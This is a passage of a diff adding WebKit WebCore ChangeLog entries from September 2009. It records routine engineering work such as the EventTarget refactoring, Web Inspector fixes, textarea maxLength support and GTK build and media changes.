+        Covered by LayoutTests/svg/dynamic-updates/SVGClipPathElement-dom-clipPathUnits-attr.html.
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::clipPath):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::currentPathInLocalCoordinates):
+
+2009-09-24  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Merge changes from Mozilla's FTP directory parser.
+        <rdar://problem/7227620> and https://bugs.webkit.org/show_bug.cgi?id=29294
+
+        FTP layout tests not possible at this time.
+        https://bugs.webkit.org/show_bug.cgi?id=29719 tracks making them possible.
+
+        * loader/FTPDirectoryParser.cpp:
+        (WebCore::ParsingFailed):
+        (WebCore::parseOneFTPLine):
+
+2009-09-24  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] re-enable some media tests
+        https://bugs.webkit.org/show_bug.cgi?id=29716
+
+        make canPlayType() return "probably" if mime-type is known
+        and codecs string is not empty. If codecs is empty return
+        "maybe".
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::supportsType):
+
+2009-09-24  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29703
+        Add a function to element to check whether it matches a CSS selector
+
+        Implement Element.webkitMatchesSelector.
+
+        * css/CSSSelectorList.cpp:
+        (WebCore::forEachTagSelector):
+        (WebCore::forEachSelector):
+        (WebCore::SelectorNeedsNamespaceResolutionFunctor::operator()):
+        (WebCore::CSSSelectorList::selectorsNeedNamespaceResolution):
+        * css/CSSSelectorList.h:
+        Moved code to iterate the CSSSelectorList and determine if any
+        selectors need namespace resolution from a static function in
+        Node.cpp to CSSSelectorList so that it can be used by webkitMatchesSelector
+        as well as querySelector/querySelectorAll.
+
+        * dom/Element.cpp:
+        (WebCore::Element::webkitMatchesSelector):
+        * dom/Element.h: 
+        * dom/Element.idl:
+        Implement the new function. Handles exceptional cases identically to
+        querySelector/querySelectorAll.
+
+        * dom/Node.cpp:
+        (WebCore::Node::querySelector):
+        (WebCore::Node::querySelectorAll):
+        Moved selectorsNeedNamespaceResolution to CSSSelectorList from here.
+
+2009-09-24  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fixed bindings build after http://trac.webkit.org/changeset/48701
+        https://bugs.webkit.org/show_bug.cgi?id=29713
+
+        Got rid of isWindowEvent in function signatures:
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        (WebCore::V8AbstractEventListener::handleEvent):
+        (WebCore::V8AbstractEventListener::getReceiverObject):
+        * bindings/v8/V8AbstractEventListener.h:
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::callListenerFunction):
+        * bindings/v8/V8LazyEventListener.h:
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::handleEvent):
+        (WebCore::V8WorkerContextEventListener::callListenerFunction):
+        (WebCore::V8WorkerContextEventListener::getReceiverObject):
+        * bindings/v8/V8WorkerContextEventListener.h:
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::callListenerFunction):
+        * bindings/v8/custom/V8CustomEventListener.h:
+
+        Switched to EventTarget methods of adding/removing listeners:
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
+        (WebCore::toEventID):
+        (WebCore::ACCESSOR_SETTER):
+
+        * dom/EventTarget.h: Some functions were incorrectly marked
+        as JSC-specific.
+
+2009-09-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Color-code watch expression errors with red.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29707
+
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        (WebInspector.WatchExpressionTreeElement.prototype.update):
+        * inspector/front-end/inspector.css:
+
+2009-09-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Fix formatting for messages derived from resource warnings,
+        couple of drive-by formatting fixes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29705
+
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addMessageToConsole):
+        * inspector/front-end/ConsoleView.js:
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._evaluateAndWrap):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+
+2009-09-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Implement InspectorController::copyNode(id).
+
+        https://bugs.webkit.org/show_bug.cgi?id=28357
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::copyNode):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.handleCopyEvent):
+
+2009-09-24  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY(rollout)
+
+        Roll out r48712 as it is incorrect.
+
+        Overriding getPropertyNames is incorrect.
+
+        * bridge/runtime_array.cpp:
+        * bridge/runtime_array.h:
+
+2009-09-24  Xan Lopez  <xlopez@igalia.com>
+
+        Revert r48697, since it broke key handling notification to GTK+.
+
+        * platform/gtk/KeyEventGtk.cpp:
+        (WebCore::keyIdentifierForGdkKeyCode):
+        (WebCore::singleCharacterString):
+
+2009-09-24  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] GStreamer MediaPlayer is unable to correctly querry duration
+        https://bugs.webkit.org/show_bug.cgi?id=24639
+
+        check duration returned by gst_element_query_duration() only
+        when using GStreamer < 0.10.23.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::duration):
+
+2009-09-24  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        The indices of RuntimeArray should be enumerated like for a regular array.
+        https://bugs.webkit.org/show_bug.cgi?id=29005
+
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::getPropertyNames):
+        * bridge/runtime_array.h:
+
+2009-09-23  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Introduce Pasteboard::writePlaintext(const String&) so that copying
+        of the inspected elements HTML will be possible in WebInspector.
+        https://bugs.webkit.org/show_bug.cgi?id=29634
+
+        * platform/Pasteboard.h:
+        * platform/android/TemporaryLinkStubs.cpp:
+        (Pasteboard::writePlainText):
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/haiku/PasteboardHaiku.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/qt/PasteboardQt.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/win/PasteboardWin.cpp:
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::writePlainText):
+        * platform/wince/PasteboardWince.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/wx/PasteboardWx.cpp:
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::writePlainText):
+        (WebCore::Pasteboard::writeURL):
+
+2009-09-24  Oswald Buddenhagen  <oswald.buddenhagen@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix QApp::translate() calls to provide the correct class name without
+        a trailing comma.
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::localizedMediaTimeDescription):
+
+2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+
+        More build fix: Removed JSSharedWorkerContextCustom.cpp from project
+        files, since it no longer exists in the repository.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: Declare set/unsetPendingActivity public, so
+        SharedWorkerScriptLoader can call them.
+
+        * dom/ActiveDOMObject.h:
+
+2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+
+        Fixed a bit of the Windows build.
+
+        * workers/SharedWorker.idl: Declare a custom mark function. (I accidentally
+        removed this in my last patch.)
+        * WebCore.xcodeproj/project.pbxproj: Added JSSharedWorkerCustom.cpp back
+        to the build. (I accidentally removed this in my last patch.)
+
+2009-09-23  Geoffrey Garen  <ggaren@apple.com>
+
+        32-bit build fix: restore previous cast that I thought was unnecessary.
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::didSendData):
+        (WebCore::XMLHttpRequest::didReceiveData):
+
+2009-09-23  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Bring a little sanity to this crazy EventTarget world of ours
+        https://bugs.webkit.org/show_bug.cgi?id=29701
+
+        Lots of EventTarget refactoring to achieve a single shared implementation
+        that fixes some of the performance and correctness bugs of the many individual
+        implementations, and makes reasoning about EventTargets and EventListeners
+        much easier.
+        
+        The basic design is this:
+            - EventTarget manages a set of EventListeners.
+            - onXXX EventListener attributes forward to standard EventTarget APIs.
+            - Since the onXXX code is repetitive, it is usually done with macros
+              of the form DEFINE_ATTRIBUTE_EVENT_LISTENER(attributeName).
+            - EventTarget provides a shared implementation of dispatchEvent,
+              which subclasses with special event dispatch rules, like Node, override.
+            - To support Node, which lazily instantiates its EventTarget data,
+              EventTarget has no data members, and instead makes a virtual call
+              to get its data from wherever its subclass chose to store it.
+              
+        Code that used to call dispatchEvent, passing an ExceptionCode paratmeter,
+        even though no exception could be thrown, has been changed not to do so,
+        to improve clarity and performance.
+        
+        Code that used to call a special dispatchXXXEvent function, which just
+        turned around and called dispatchEvent, has been changed to call
+        dispatchEvent, to improve clarity and performance.
+
+        * WebCore.base.exp:
+        * WebCore.xcodeproj/project.pbxproj: Another day in the life of a WebKit
+        engineer.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::isObservableThroughDOM): Updated for Node API change. Added
+        "is not in the document but is firing event listeners" as a condition
+        that makes a Node observable in the DOM, so that event listeners firing
+        on removed nodes are not destroyed midstream. (This was a long-standing
+        bug that was somewhat hidden by the old implementation's habit of
+        copying the RegisteredEventListener vector before firing events, which
+        would keep almost all the relevant objects from being destroyed.)
+
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent): Removed the isWindowEvent flag
+        because it was one of the most elaborately planned no-ops in the history
+        of software crime, and one of the reasons clients thought they needed more
+        than one dispatchEvent function even though they didn't.
+        * bindings/js/JSEventListener.h:
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::markChildren):
+        (WebCore::JSMessagePort::markChildren):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::markChildren):
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        * bindings/js/JSDedicatedWorkerContextCustom.cpp:
+        * bindings/js/JSEventSourceCustom.cpp:
+        * bindings/js/JSMessagePortCustom.cpp:
+        * bindings/js/JSSharedWorkerContextCustom.cpp: Removed.
+        * bindings/js/JSWebSocketCustom.cpp:
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::markChildren):
+        * bindings/js/JSWorkerCustom.cpp:
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::markChildren):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::markChildren): EventListener marking is
+        now autogenerated. Classes that still have custom mark functions for other
+        reasons now call a shared EventTarget API to mark their EventListeners.
+
+        * bindings/objc/ObjCEventListener.h:
+        * bindings/objc/ObjCEventListener.mm:
+        (WebCore::ObjCEventListener::handleEvent): Bye bye isWindowEvent.
+
+        * bindings/scripts/CodeGeneratorJS.pm: Autogeneration support for
+        marking and invalidating event listeners.
+
+        * dom/CharacterData.cpp:
+        (WebCore::CharacterData::dispatchModifiedEvent):
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::insertBefore):
+        (WebCore::ContainerNode::replaceChild):
+        (WebCore::willRemoveChild):
+        (WebCore::ContainerNode::appendChild):
+        (WebCore::dispatchChildInsertionEvents):
+        (WebCore::dispatchChildRemovalEvents):
+        * dom/Document.cpp:
+        (WebCore::Document::removeAllEventListeners):
+        (WebCore::Document::implicitClose):
+        (WebCore::Document::setFocusedNode):
+        (WebCore::Document::dispatchWindowEvent):
+        (WebCore::Document::dispatchWindowLoadEvent):
+        (WebCore::Document::finishedParsing):
+        * dom/Document.h: Use dispatchEvent directly.
+
+        * dom/Element.h: Moved a few event listener attributes down from Node,
+        since they don't apply to all Nodes, only Elements.
+
+        * dom/EventListener.h: Removed isWindowEvent parameter.
+
+        * dom/EventNames.h: Added the "display" event name, so it works correctly
+        with attribute macros, and for performance.
+
+        * dom/EventTarget.cpp:
+        (WebCore::forbidEventDispatch):
+        (WebCore::allowEventDispatch):
+        (WebCore::eventDispatchForbidden): Made this code (embarrasingly) thread
+        safe, since it's now called on multiple threads. (Currently, we only forbid
+        event dispatch on the main thread. If we ever want to forbid event dispatch
+        on secondary threads, we can improve it then.)
+
+        (WebCore::EventTarget::addEventListener):
+        (WebCore::EventTarget::removeEventListener):
+        (WebCore::EventTarget::setAttributeEventListener):
+        (WebCore::EventTarget::getAttributeEventListener):
+        (WebCore::EventTarget::clearAttributeEventListener):
+        (WebCore::EventTarget::dispatchEvent):
+        (WebCore::EventTarget::fireEventListeners):
+        (WebCore::EventTarget::getEventListeners):
+        (WebCore::EventTarget::removeAllEventListeners):
+        * dom/EventTarget.h:
+        (WebCore::FiringEventEndIterator::FiringEventEndIterator):
+        (WebCore::EventTarget::ref):
+        (WebCore::EventTarget::deref):
+        (WebCore::EventTarget::markEventListeners):
+        (WebCore::EventTarget::invalidateEventListeners):
+        (WebCore::EventTarget::isFiringEventListeners):
+        (WebCore::EventTarget::hasEventListeners): The ONE TRUE IMPLEMENTATION of
+        EventTarget APIs, crafted from an amalgam of all the different versions
+        we used to have. The most significant change here is that we no longer
+        make a copy of an EventListener vector before firing the events in the
+        vector -- instead, we use a reference to the original vector, along with
+        a notification mechanism for the unlikely case when an EventListener is
+        removed from the vector. This substantially reduces malloc, copying, and
+        refcount overhead, and complexity.
+
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::setValueFromRenderer):
+        * dom/MessageEvent.h:
+        (WebCore::MessageEvent::create): Use dispatchEvent directly.
+
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::dispatchMessages):
+        (WebCore::MessagePort::eventTargetData):
+        (WebCore::MessagePort::ensureEventTargetData):
+        * dom/MessagePort.h:
+        (WebCore::MessagePort::setOnmessage):
+        (WebCore::MessagePort::onmessage):
+        * dom/MessagePort.idl: Removed custom EventTarget implementation.
+
+        * dom/MutationEvent.h:
+        (WebCore::MutationEvent::create): Added some default values so callers
+        can construct MutationEvents more easily, without calling a custom dispatch
+        function.
+
+        * dom/Node.cpp:
+        (WebCore::Node::addEventListener):
+        (WebCore::Node::removeEventListener):
+        (WebCore::Node::eventTargetData):
+        (WebCore::Node::ensureEventTargetData):
+        (WebCore::Node::handleLocalEvents):
+        (WebCore::Node::dispatchEvent):
+        (WebCore::Node::dispatchGenericEvent):
+        (WebCore::Node::dispatchSubtreeModifiedEvent):
+        (WebCore::Node::dispatchUIEvent):
+        (WebCore::Node::dispatchKeyEvent):
+        (WebCore::Node::dispatchMouseEvent):
+        (WebCore::Node::dispatchWheelEvent):
+        (WebCore::Node::dispatchFocusEvent):
+        (WebCore::Node::dispatchBlurEvent):
+        * dom/Node.h:
+        (WebCore::Node::preDispatchEventHandler):
+        (WebCore::Node::postDispatchEventHandler):
+        * dom/Node.idl:
+        * dom/NodeRareData.h:
+        (WebCore::NodeRareData::eventTargetData):
+        (WebCore::NodeRareData::ensureEventTargetData): Use the shared EventTarget
+        interface, and call dispatchEvent directly instead of custom dispatchXXXEvent
+        functions that just forwarded to dispatchEvent.
+
+        * dom/RegisteredEventListener.cpp:
+        * dom/RegisteredEventListener.h:
+        (WebCore::RegisteredEventListener::RegisteredEventListener):
+        (WebCore::operator==): This is just a simple struct now, since we no longer
+        do a complicated copy / refCount / isRemoved dance just to honor the rule
+        that an EventListener can be removed during event dispatch.
+
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::restore): Removed another custom dispatchEvent.
+
+        * html/HTMLBodyElement.cpp:
+        * html/HTMLBodyElement.h: Use the shared EventTarget API.
+
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::dispatchFormControlChangeEvent):
+        (WebCore::HTMLFormControlElement::checkValidity):
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::handleLocalEvents):
+        (WebCore::HTMLFormElement::prepareSubmit):
+        (WebCore::HTMLFormElement::reset):
+        * html/HTMLFormElement.h: Use the standard dispatchEvent API.
+
+        * html/HTMLFrameSetElement.cpp:
+        * html/HTMLFrameSetElement.h: Use the shared EventTarget API.
+
+        * html/HTMLImageLoader.cpp:
+        (WebCore::HTMLImageLoader::dispatchLoadEvent):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::onSearch):
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadInternal):
+        * html/HTMLScriptElement.cpp:
+        (WebCore::HTMLScriptElement::dispatchLoadEvent):
+        (WebCore::HTMLScriptElement::dispatchErrorEvent):
+        * html/HTMLSourceElement.cpp:
+        (WebCore::HTMLSourceElement::errorEventTimerFired):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::notifyFinished): Use the standard dispatchEvent API.
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::handleEvent):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::handleEvent):
+        * inspector/InspectorDOMStorageResource.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading):
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+        (WebCore::HashChangeEventTask::performTask):
+        (WebCore::FrameLoader::pageHidden): No more isWindowEvent.
+
+        * loader/ImageDocument.cpp:
+        (WebCore::ImageEventListener::handleEvent):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::CallCacheListenerTask::performTask):
+        * loader/appcache/ApplicationCacheHost.cpp:
+        (WebCore::ApplicationCacheHost::notifyDOMApplicationCache):
+        * loader/appcache/ApplicationCacheHost.h:
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::eventTargetData):
+        (WebCore::DOMApplicationCache::ensureEventTargetData):
+        * loader/appcache/DOMApplicationCache.h:
+        * loader/appcache/DOMApplicationCache.idl: Switched to the standard
+        EventTarget API. As a part of this, I switched this class from using a
+        custom internal event name enumeration to using the standard EventNames.
+
+        * notifications/Notification.cpp:
+        (WebCore::Notification::eventTargetData):
+        (WebCore::Notification::ensureEventTargetData):
+        * notifications/Notification.h:
+        (WebCore::Notification::scriptExecutionContext):
+        * notifications/Notification.idl: Switched to the standard EventTarget API.
+
+        * page/DOMWindow.cpp:
+        (WebCore::PostMessageTimer::event):
+        (WebCore::windowsWithUnloadEventListeners):
+        (WebCore::windowsWithBeforeUnloadEventListeners):
+        (WebCore::allowsBeforeUnloadListeners):
+        (WebCore::DOMWindow::dispatchAllPendingBeforeUnloadEvents):
+        (WebCore::DOMWindow::pendingUnloadEventListeners):
+        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents): Changed the "pending"
+        unload / beforeunload listener tracker just to track which windows had
+        such listeners, instead of actually keeping a copy of the listeners. Now,
+        this code can use the standard EventTarget API.
+
+        (WebCore::DOMWindow::~DOMWindow):
+        (WebCore::DOMWindow::postMessageTimerFired):
+        (WebCore::DOMWindow::addEventListener):
+        (WebCore::DOMWindow::removeEventListener):
+        (WebCore::DOMWindow::dispatchLoadEvent):
+        (WebCore::DOMWindow::dispatchEvent):
+        (WebCore::DOMWindow::removeAllEventListeners):
+        (WebCore::DOMWindow::captureEvents):
+        (WebCore::DOMWindow::releaseEvents):
+        (WebCore::DOMWindow::eventTargetData):
+        (WebCore::DOMWindow::ensureEventTargetData):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl: Use the standard EventTarget APIs.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::canMouseDownStartSelect):
+        (WebCore::EventHandler::canMouseDragExtendSelect):
+        (WebCore::EventHandler::sendResizeEvent):
+        (WebCore::EventHandler::sendScrollEvent): Use dispatchEvent directly.
+
+        * page/EventSource.cpp:
+        (WebCore::EventSource::endRequest):
+        (WebCore::EventSource::didReceiveResponse):
+        (WebCore::EventSource::parseEventStreamLine):
+        (WebCore::EventSource::stop):
+        (WebCore::EventSource::createMessageEvent):
+        (WebCore::EventSource::eventTargetData):
+        (WebCore::EventSource::ensureEventTargetData):
+        * page/EventSource.h:
+        * page/EventSource.idl: Use the standard EventTarget APIs.
+
+        * page/FocusController.cpp:
+        (WebCore::dispatchEventsOnWindowAndFocusedNode):
+        (WebCore::FocusController::setFocusedFrame):
+        * page/Frame.cpp:
+        (WebCore::Frame::shouldClose):
+        * page/Frame.h:
+        * page/Page.cpp:
+        (WebCore::networkStateChanged):
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
+        * rendering/RenderListBox.cpp:
+        (WebCore::RenderListBox::valueChanged):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::selectionChanged):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::subtreeHasChanged): Use dispatchEvent.
+
+        * svg/SVGElement.cpp:
+        (WebCore::hasLoadListener): Rewritten for new EventTarget API.
+
+        * svg/SVGElementInstance.cpp:
+        (WebCore::dummyEventTargetData):
+        (WebCore::SVGElementInstance::addEventListener):
+        (WebCore::SVGElementInstance::removeEventListener):
+        (WebCore::SVGElementInstance::removeAllEventListeners):
+        (WebCore::SVGElementInstance::dispatchEvent):
+        (WebCore::SVGElementInstance::eventTargetData):
+        (WebCore::SVGElementInstance::ensureEventTargetData): Use the EventTarget API.
+
+        * svg/SVGElementInstance.h:
+        * svg/SVGImageLoader.cpp:
+        (WebCore::SVGImageLoader::dispatchLoadEvent):
+        * svg/SVGScriptElement.cpp:
+        (WebCore::SVGScriptElement::dispatchErrorEvent): Use dispatchEvent directly.
+
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::transferEventListenersToShadowTree): Updated for
+        new EventTarget API.
+
+        * svg/animation/SVGSMILElement.cpp:
+        (WebCore::ConditionEventListener::handleEvent): No more isWindowEvent.
+
+        * websockets/WebSocket.cpp:
+        (WebCore::ProcessWebSocketEventTask::create):
+        (WebCore::ProcessWebSocketEventTask::performTask):
+        (WebCore::ProcessWebSocketEventTask::ProcessWebSocketEventTask):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didReceiveMessage):
+        (WebCore::WebSocket::didClose):
+        (WebCore::WebSocket::eventTargetData):
+        (WebCore::WebSocket::ensureEventTargetData):
+        * websockets/WebSocket.h:
+        * websockets/WebSocket.idl:
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::eventTargetData):
+        (WebCore::AbstractWorker::ensureEventTargetData):
+        * workers/AbstractWorker.h:
+        * workers/AbstractWorker.idl:
+        * workers/DedicatedWorkerContext.cpp:
+        * workers/DedicatedWorkerContext.h:
+        * workers/DedicatedWorkerContext.idl:
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerConnectTask::performTask):
+        (WebCore::SharedWorkerScriptLoader::load):
+        (WebCore::SharedWorkerScriptLoader::notifyFinished):
+        * workers/SharedWorker.idl:
+        * workers/SharedWorkerContext.cpp:
+        (WebCore::createConnectEvent):
+        * workers/SharedWorkerContext.h:
+        * workers/SharedWorkerContext.idl:
+        * workers/Worker.cpp:
+        (WebCore::Worker::notifyFinished):
+        * workers/Worker.h:
+        * workers/Worker.idl:
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::eventTargetData):
+        (WebCore::WorkerContext::ensureEventTargetData):
+        * workers/WorkerContext.h:
+        * workers/WorkerContext.idl:
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::MessageWorkerContextTask::performTask):
+        (WebCore::MessageWorkerTask::performTask):
+        (WebCore::WorkerExceptionTask::performTask):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::callReadyStateChangeListener):
+        (WebCore::XMLHttpRequest::createRequest):
+        (WebCore::XMLHttpRequest::abort):
+        (WebCore::XMLHttpRequest::networkError):
+        (WebCore::XMLHttpRequest::abortError):
+        (WebCore::XMLHttpRequest::didSendData):
+        (WebCore::XMLHttpRequest::didReceiveData):
+        (WebCore::XMLHttpRequest::eventTargetData):
+        (WebCore::XMLHttpRequest::ensureEventTargetData):
+        * xml/XMLHttpRequest.h:
+        * xml/XMLHttpRequest.idl:
+        * xml/XMLHttpRequestProgressEvent.h:
+        (WebCore::XMLHttpRequestProgressEvent::create):
+        * xml/XMLHttpRequestUpload.cpp:
+        (WebCore::XMLHttpRequestUpload::eventTargetData):
+        (WebCore::XMLHttpRequestUpload::ensureEventTargetData):
+        * xml/XMLHttpRequestUpload.h:
+        * xml/XMLHttpRequestUpload.idl: Use new EventTarget API.
+
+2009-09-23  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        - Support for maxLength of <textarea>
+        - Move numGraphemeClusters() and numCharactersInGraphemeClusters() from InputElement to String.
+        https://bugs.webkit.org/show_bug.cgi?id=29292
+
+        Test: fast/forms/textarea-maxlength.html
+
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::sanitizeUserInputValue):
+        (WebCore::InputElement::handleBeforeTextInsertedEvent):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::defaultEventHandler):
+        (WebCore::HTMLTextAreaElement::handleBeforeTextInsertedEvent):
+        (WebCore::HTMLTextAreaElement::sanitizeUserInputValue):
+        (WebCore::HTMLTextAreaElement::maxLength):
+        (WebCore::HTMLTextAreaElement::setMaxLength):
+        * html/HTMLTextAreaElement.h:
+        * html/HTMLTextAreaElement.idl:
+        * platform/text/PlatformString.h:
+        * platform/text/String.cpp:
+        (WebCore::String::numGraphemeClusters):
+        (WebCore::String::numCharactersInGraphemeClusters):
+
+2009-09-23  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] REGRESSION: BitmapImage::getGdkPixbuf fails for non-square images
+        https://bugs.webkit.org/show_bug.cgi?id=29654
+
+        Give GDK_Backspace key events the proper text properties.
+
+        Instead of adding new tests, this change removes existing tests
+        from Gtk's skipped list.
+
+        * platform/gtk/KeyEventGtk.cpp:
+        (WebCore::keyIdentifierForGdkKeyCode):
+        (WebCore::singleCharacterString):
+
+2009-09-23  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26989
+        Should allow navigation of top-level openers
+        <rdar://problem/7034025>
+
+        Allow navigation of cross-origin window.opener if it is top-level frame.
+
+        Test: http/tests/security/frameNavigation/cross-origin-opener.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::shouldAllowNavigation):
+
+2009-09-23  Marshall Culpepper  <mculpepper@appcelerator.com>
+
+        Reviewed by Eric Seidel.
+
+        Added $(WebKitLibrariesDir)/include/cairo so cairo.h is found by
+        default when the necessary dependencies are extracted into the
+        WebKitLibrariesDir.
+        https://bugs.webkit.org/show_bug.cgi?id=29661
+
+        * WebCore.vcproj/WebCoreCairo.vsprops:
+
+2009-09-23  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Crash when website does a history.back() followed by an alert()
+        https://bugs.webkit.org/show_bug.cgi?id=29686
+        rdar://problem/6984996
+
+        When loading is deferred, we need to defer timer-based loads
+        too, not just networking-driven loads. Otherwise we can get
+        syncronouse navigation while running a script, which leads to
+        crashes and other badness.
+
+        This patch includes a manual test; an automated test may be
+        possible some time in the future.
+
+        * dom/Document.cpp:
+        (WebCore::Document::processHttpEquiv): Use scheduleLocationChange
+        instead of scheduleHTTPRedirection to implement the navigation
+        needed for x-frame-options.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader): Updated for data members with
+        new names and new data members.
+        (WebCore::FrameLoader::setDefersLoading): When turning deferral
+        off, call startRedirectionTimer and startCheckCompleteTimer, since
+        either of them might have been fired and ignored while defersLoading
+        was true.
+        (WebCore::FrameLoader::clear): Updated for replacement of the
+        m_checkCompletedTimer and m_checkLoadCompleteTimer timers.
+        (WebCore::FrameLoader::allAncestorsAreComplete): Added.
+        (WebCore::FrameLoader::checkCompleted): Added code to set
+        m_shouldCallCheckCompleted to false. Changed code that calls
+        startRedirectionTimer to call it unconditionally, since that
+        function now knows when to do work and doesn't expect callers
+        to handle that any more.
